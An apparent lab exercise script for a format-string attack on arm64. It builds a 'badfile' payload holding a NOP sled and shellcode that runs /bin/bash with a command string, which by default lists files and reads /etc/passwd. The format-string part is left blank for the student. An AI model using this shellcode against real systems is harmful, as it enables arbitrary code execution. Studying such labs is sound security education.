#!/usr/bin/python3
import sys

# 64-bit Generic Shellcode 
shellcode= (
   "\x0b\x05\x01\x10\x0c\x04\x84\xd2\x73\x01\x0c\xcb\x29\x01\x09\x4a"
   "\x28\x01\x80\xd2\x69\x6a\x28\x38\x88\x01\x80\xd2\x69\x6a\x28\x38"
   "\xe8\x09\x80\xd2\x69\x6a\x28\x38\x08\x0a\x80\xd2\xe9\x03\x13\xaa"
   "\x69\x6a\x28\xf8\x08\x0b\x80\xd2\x49\x01\x80\xd2\xe9\x03\x09\xcb"
   "\x69\x02\x09\xcb\x69\x6a\x28\xf8\x08\x0c\x80\xd2\x09\x02\x80\xd2"
   "\xe9\x03\x09\xcb\x69\x02\x09\xcb\x69\x6a\x28\xf8\x08\x0d\x80\xd2"
   "\x29\x01\x09\xca\x69\x6a\x28\xf8\xe0\x03\x13\xaa\x61\x42\x01\xb1"
   "\x94\x02\x14\xca\xe2\x03\x14\xaa\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
   "/bin/bash*"
   "-c****"
   # You can modify the following command string to run any command.
   # You can even run multiple commands. When you change the string,
   # make sure that the position of the * at the end doesn't change.
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position the same.
   # The * in this line serves as the position marker              *
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd          *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')


N = 1500
content = bytearray(N)

# Fill the content with NOP's (0xD503201F is NOP instruction in arm64)
nop = (0xD503201F).to_bytes(4,byteorder='little')
for offset in range(int(N/4)):
   content[offset*4:offset*4 + 4] = nop


# Put the shellcode somewhere in the payload
start = 0               # Change this number
content[start:start + len(shellcode)] = shellcode

############################################################
#
#    Construct the format string here
# 
############################################################

# Save the format string to file
with open('badfile', 'wb') as f:
  f.write(content)
